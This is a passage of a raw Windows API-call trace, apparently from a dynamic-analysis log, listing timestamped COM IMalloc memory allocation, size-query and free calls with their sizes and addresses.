cb=0x2a) returned 0x2764b82c730 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82bbf0 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82bdb0 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b82c2f0 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f6160 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f72a0 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b80dfb0 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b80e0f0 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f8200 [0101.373] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1210 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b80e3f0 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b80f570 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1240 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0910 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x27644fc8bd0 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b80f0f0 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b80f1f0 [0101.374] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b884a30 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b887550 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fc91d0 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fc8d50 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x27644fc9440 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764ad241b0 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x27644fc96e0 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fca280 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x27644fca2e0 [0101.375] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x27644fcaf10 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x2764b80f2b0 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fcaf40 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fca3a0 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fcb030 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x27644fcb090 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x27644fcb0f0 [0101.376] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b80f6f0 [0101.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b80e7b0 [0101.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fbc330 [0101.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x27644fc6e30 [0101.377] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x27644fc6e60 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b223d90 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b223970 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b224c90 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b224d50 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b22c3a0 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b22ce80 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b22d270 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50ccf0 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24630 [0101.378] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad242f0 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23ef0 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24410 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23f90 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24230 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24210 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24370 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24590 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad243b0 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad243f0 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24470 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24430 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad244b0 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad245b0 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24690 [0101.379] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23fb0 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23ff0 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24a70 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24b50 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24bb0 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24e50 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24930 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad249d0 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24cd0 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24b70 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24e90 [0101.380] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad246d0 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad24750 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad247b0 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad252d0 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25350 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25470 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25830 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25bf0 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25910 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25a10 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25db0 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad256f0 [0101.381] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25950 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25970 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad259f0 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25ad0 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25710 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25870 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad258f0 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25b10 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25c70 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25df0 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25cd0 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25cf0 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26010 [0101.382] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25ff0 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad264b0 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26610 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26590 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26190 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad264d0 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad262b0 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25f30 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26490 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25ed0 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad265b0 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26030 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad25f50 [0101.383] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26050 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26070 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad262f0 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad260f0 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad261d0 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26150 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26410 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad26170 [0101.384] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad27190 [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad27270 [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad271b0 [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad27350 [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad274b0 [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad21dd0 [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764ad233f0 [0101.385] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad233f0) returned 0x18 [0101.385] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad233f0) [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ed40 [0101.385] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ed40) returned 0x8 [0101.385] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ed40) [0101.385] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ed90 [0101.385] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ed90) returned 0x8 [0101.386] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ed90) [0101.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad233f0 [0101.386] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad233f0) returned 0x10 [0101.386] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad233f0) [0101.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b22cd00 [0101.386] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b22cd00) returned 0x20 [0101.386] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22cd00) [0101.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b80e870 [0101.386] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b80e870) returned 0x30 [0101.386] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80e870) [0101.386] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b887d20 [0101.386] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b887d20) returned 0x48 [0101.387] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b887d20) [0101.387] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51efe0 [0101.387] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51efe0) returned 0x8 [0101.391] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51efe0) [0101.391] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23670 [0101.391] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad23670) returned 0x10 [0101.392] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23670) [0101.392] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee00 [0101.393] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) returned 0x8 [0101.394] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) [0101.394] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23670 [0101.394] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad23670) returned 0x10 [0101.395] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23670) [0101.395] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ed90 [0101.395] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ed90) returned 0x8 [0101.396] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ed90) [0101.396] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23670 [0101.396] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad23670) returned 0x10 [0101.399] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23670) [0101.399] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ed40 [0101.399] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ed40) returned 0x8 [0101.402] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ed40) [0101.402] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee10 [0101.402] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee10) returned 0x8 [0101.403] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee10) [0101.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee00 [0101.403] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) returned 0x8 [0101.404] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee00) [0101.404] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51efa0 [0101.404] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51efa0) returned 0x8 [0101.405] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51efa0) [0101.405] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764ad23090 [0101.405] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ad23090) returned 0x10 [0101.405] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad23090) [0101.405] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ef20 [0101.405] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ef20) returned 0x8 [0101.406] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ef20) [0101.406] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f0b0 [0101.406] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f0b0) returned 0x8 [0101.513] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f0b0) [0101.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.513] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.516] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.516] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee50 [0101.516] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee50) returned 0x8 [0101.520] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee50) [0101.520] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.520] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.521] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.521] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ed90 [0101.521] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ed90) returned 0x8 [0101.522] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ed90) [0101.522] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.522] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.524] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.524] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.524] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.526] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.526] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ef00 [0101.526] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ef00) returned 0x8 [0101.527] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ef00) [0101.528] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.528] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.529] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.529] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ee80 [0101.529] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ee80) returned 0x8 [0101.530] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ee80) [0101.530] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.530] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.531] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.532] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f0a0 [0101.532] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f0a0) returned 0x8 [0101.533] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f0a0) [0101.533] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.533] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.534] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.534] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f090 [0101.534] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f090) returned 0x8 [0101.535] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f090) [0101.536] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.536] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.539] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51f090 [0101.539] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51f090) returned 0x8 [0101.542] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f090) [0101.542] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b219100 [0101.542] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b219100) returned 0x10 [0101.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b219100) [0101.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764513c4f0 [0101.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764513c4f0) returned 0x10 [0101.673] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764513c4f0) [0101.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51efa0 [0101.674] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51efa0) returned 0x8 [0101.686] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51efa0) [0101.686] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764513c4f0 [0101.686] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764513c4f0) returned 0x10 [0101.794] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764513c4f0) [0101.794] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b520040 [0101.794] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b520040) returned 0x8 [0101.797] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b520040) [0101.797] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e2140 [0101.797] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e2140) returned 0x10 [0101.801] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e2140) [0101.801] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ff40 [0101.801] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ff40) returned 0x8 [0101.805] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ff40) [0101.805] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e2060 [0101.805] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e2060) returned 0x10 [0101.816] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e2060) [0101.816] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e26e0 [0101.816] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e26e0) returned 0x10 [0101.827] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e26e0) [0101.828] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fea0 [0101.828] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fea0) returned 0x8 [0101.927] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fea0) [0101.928] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4080 [0101.928] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) returned 0x10 [0101.932] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) [0101.932] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.932] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.935] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.935] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4080 [0101.935] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) returned 0x10 [0101.936] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) [0101.936] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.936] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.937] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.937] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4080 [0101.937] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) returned 0x10 [0101.940] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4080) [0101.940] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.940] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.943] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.943] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4160 [0101.943] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4160) returned 0x10 [0101.944] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4160) [0101.944] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e43c0 [0101.944] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e43c0) returned 0x10 [0101.945] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e43c0) [0101.945] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e44e0 [0101.945] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e44e0) returned 0x10 [0101.946] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e44e0) [0101.946] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51fe50 [0101.946] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) returned 0x8 [0101.946] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51fe50) [0101.946] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e46a0 [0101.947] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e46a0) returned 0x10 [0101.947] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e46a0) [0101.947] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4080 [0101.947] IMalloc:GetSize 